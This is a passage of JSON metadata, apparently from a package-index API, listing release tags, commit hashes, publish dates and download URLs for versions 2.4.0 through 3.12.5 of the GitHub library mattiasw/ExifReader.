3.12.5","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.5/manifests"},{"name":"v3.12.4","sha":"40c15057ca707b1bc682025cc7a4038b09ba474b","kind":"tag","published_at":"2020-11-21T10:25:40.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.12.4","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.4/manifests"},{"name":"3.12.4","sha":"40c15057ca707b1bc682025cc7a4038b09ba474b","kind":"commit","published_at":"2020-11-21T10:25:30.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.12.4","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.4/manifests"},{"name":"v3.12.3","sha":"4c47faf93cecb641379a63720ced59f9546d5566","kind":"tag","published_at":"2020-10-10T07:34:43.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.12.3","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.3/manifests"},{"name":"3.12.3","sha":"4c47faf93cecb641379a63720ced59f9546d5566","kind":"commit","published_at":"2020-10-10T07:34:35.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.12.3","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.3/manifests"},{"name":"v3.12.2","sha":"da7895cd4cd6d89b094bf982d5061c5892a9993a","kind":"tag","published_at":"2020-08-19T19:14:30.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.12.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.2/manifests"},{"name":"3.12.2","sha":"da7895cd4cd6d89b094bf982d5061c5892a9993a","kind":"commit","published_at":"2020-08-19T19:14:21.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.12.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.2/manifests"},{"name":"3.12.1","sha":"89958fec43539e1c19e038c1c9ac3d4ae788de0b","kind":"commit","published_at":"2020-08-17T16:16:15.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.12.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.1/manifests"},{"name":"v3.12.0","sha":"a3482732b806a4edd0cfed1744fa9df9e131d2a3","kind":"tag","published_at":"2020-06-01T18:40:05.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.12.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.0/manifests"},{"name":"3.12.0","sha":"a3482732b806a4edd0cfed1744fa9df9e131d2a3","kind":"commit","published_at":"2020-06-01T18:39:51.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.12.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.0/manifests"},{"name":"v3.11.2","sha":"a251a3e7e0ea5d0dbecb1a640eec833d206a8304","kind":"tag","published_at":"2020-05-09T11:14:34.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.11.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.11.2/manifests"},{"name":"3.11.2","sha":"a251a3e7e0ea5d0dbecb1a640eec833d206a8304","kind":"commit","published_at":"2020-05-09T11:14:16.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.11.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.11.2/manifests"},{"name":"v3.11.1","sha":"a05c7215165785742e275ccfe31a9b301f0a991c","kind":"tag","published_at":"2020-05-08T17:51:43.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.11.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.11.1/manifests"},{"name":"3.11.1","sha":"a05c7215165785742e275ccfe31a9b301f0a991c","kind":"commit","published_at":"2020-05-08T17:51:35.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.11.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.11.1/manifests"},{"name":"v3.11.0","sha":"a4f5ce5a9a1f40aa4db9c138a95d40c904827b84","kind":"tag","published_at":"2020-05-02T21:44:49.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.11.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.11.0/manifests"},{"name":"3.11.0","sha":"a4f5ce5a9a1f40aa4db9c138a95d40c904827b84","kind":"commit","published_at":"2020-05-02T21:44:41.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.11.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.11.0/manifests"},{"name":"v3.10.0","sha":"c1964a061bbaf0eedb16aeeba17f39cc0fee23bd","kind":"tag","published_at":"2020-05-01T13:04:05.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.10.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.10.0/manifests"},{"name":"3.10.0","sha":"c1964a061bbaf0eedb16aeeba17f39cc0fee23bd","kind":"commit","published_at":"2020-05-01T13:03:56.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.10.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.10.0/manifests"},{"name":"v3.9.0","sha":"d8b93ed4034d0114ae4d4c003fd24eebcc71405f","kind":"tag","published_at":"2020-04-19T18:49:44.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.9.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.9.0/manifests"},{"name":"3.9.0","sha":"d8b93ed4034d0114ae4d4c003fd24eebcc71405f","kind":"commit","published_at":"2020-04-19T18:49:36.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.9.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.9.0/manifests"},{"name":"v3.8.0","sha":"6ae3831a4d24e37b72e26bd22f0afd55259d72f5","kind":"tag","published_at":"2020-04-14T21:05:47.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.8.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.8.0/manifests"},{"name":"3.8.0","sha":"6ae3831a4d24e37b72e26bd22f0afd55259d72f5","kind":"commit","published_at":"2020-04-14T21:05:38.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.8.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.8.0/manifests"},{"name":"v3.7.0","sha":"27a753ef1d6f25779358755915a1e48482960f54","kind":"tag","published_at":"2020-04-11T15:26:37.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.7.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.7.0/manifests"},{"name":"3.7.0","sha":"27a753ef1d6f25779358755915a1e48482960f54","kind":"commit","published_at":"2020-04-11T15:26:32.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.7.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.7.0/manifests"},{"name":"v3.6.1","sha":"28ce955859dcdc9853908f9b301f98c283595725","kind":"tag","published_at":"2020-04-10T21:30:20.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.6.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.6.1/manifests"},{"name":"3.6.1","sha":"28ce955859dcdc9853908f9b301f98c283595725","kind":"commit","published_at":"2020-04-10T21:30:14.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.6.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.6.1/manifests"},{"name":"3.6.0","sha":"b23626f2008415eec20df3a337179c14a5067815","kind":"commit","published_at":"2020-04-06T20:44:02.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.6.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.6.0/manifests"},{"name":"3.4.0","sha":"3d0cccfb4bf641732b574716a1bcfc59618dd864","kind":"commit","published_at":"2020-03-31T18:41:54.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.4.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.4.0/manifests"},{"name":"3.3.0","sha":"2cf41d704b0109d47dd750edfa59214b820fc546","kind":"commit","published_at":"2020-03-28T14:14:09.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.3.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.3.0/manifests"},{"name":"3.2.0","sha":"0a72456bf4693b20c5fb8f86ca62585287a64890","kind":"commit","published_at":"2020-03-22T20:42:36.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.2.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.2.0/manifests"},{"name":"3.1.0","sha":"a165b086fea2c19a8c8ab9ccdccc3c54b7c0ccc1","kind":"commit","published_at":"2020-03-14T17:32:55.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.1.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.1.0/manifests"},{"name":"3.0.0","sha":"5c34868363d463ca532fb81dd5f931240c15c7f4","kind":"commit","published_at":"2020-03-13T21:06:47.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.0.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.0.0/manifests"},{"name":"2.13.1","sha":"1cdea0ff72b2ac7b89ad4ae52e0f1b7b3ed26a24","kind":"commit","published_at":"2020-01-24T18:45:16.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.13.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.13.1/manifests"},{"name":"2.13.0","sha":"dce79c98425785881233c021af8fd9771edd9a01","kind":"commit","published_at":"2019-12-15T20:42:52.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.13.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.13.0/manifests"},{"name":"2.12.0","sha":"4129adfe818acc2ee4de292ae376954203e797fa","kind":"commit","published_at":"2019-11-23T21:30:38.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.12.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"b806b6f3d58cd4f4c90508551fb9ecff6e784cec","kind":"commit","published_at":"2019-11-17T20:00:07.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.11.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.11.0/manifests"},{"name":"2.10.0","sha":"df9038cb5f6d3f8c106da8c9c90838998fff5571","kind":"commit","published_at":"2019-11-04T18:43:14.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.10.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"8cb8ace0cf9c988572c89621dfc5348192b3370a","kind":"commit","published_at":"2019-11-01T21:38:45.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.9.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.9.0/manifests"},{"name":"2.8.5","sha":"5eaf26fb423b35da762e24e0eee2d1467f33ec0a","kind":"commit","published_at":"2019-11-01T15:18:03.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.8.5","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.8.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.8.5/manifests"},{"name":"2.8.4","sha":"58fec58d94e07b6cfdd761fcf653cb53ee48a590","kind":"commit","published_at":"2019-09-14T19:37:31.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.8.4","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.8.4/manifests"},{"name":"2.8.3","sha":"a6cf8fb7bfb391963d791ce0f949d58b5baf9ec7","kind":"commit","published_at":"2019-08-05T11:11:22.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.8.3","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.8.3/manifests"},{"name":"2.8.2","sha":"f3e33c020874073bfb401b80dcfe291ca95af5cd","kind":"commit","published_at":"2019-04-07T21:34:20.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.8.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.8.2/manifests"},{"name":"2.8.1","sha":"b4e22af98c4f714ffee25f5b37d601c1967365c8","kind":"commit","published_at":"2019-03-18T18:43:53.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.8.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.8.1/manifests"},{"name":"2.7.0","sha":"a1c2fad393b92d1ea81ba32919a030ffd6fd162a","kind":"commit","published_at":"2019-02-01T14:55:50.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.7.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"dd66535555259b3573c8e101f659add60c1e110e","kind":"commit","published_at":"2019-01-23T20:40:36.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.6.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"9f2c2cc64ffc65ff10d3d0493988e1c54d9cf330","kind":"commit","published_at":"2018-06-13T18:27:51.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.5.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"bf0b284c3013b6ba8fd81654577fc99eaf59547f","kind":"commit","published_at":"2018-04-10T18:54:06.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.4.0","html_url":"https://gith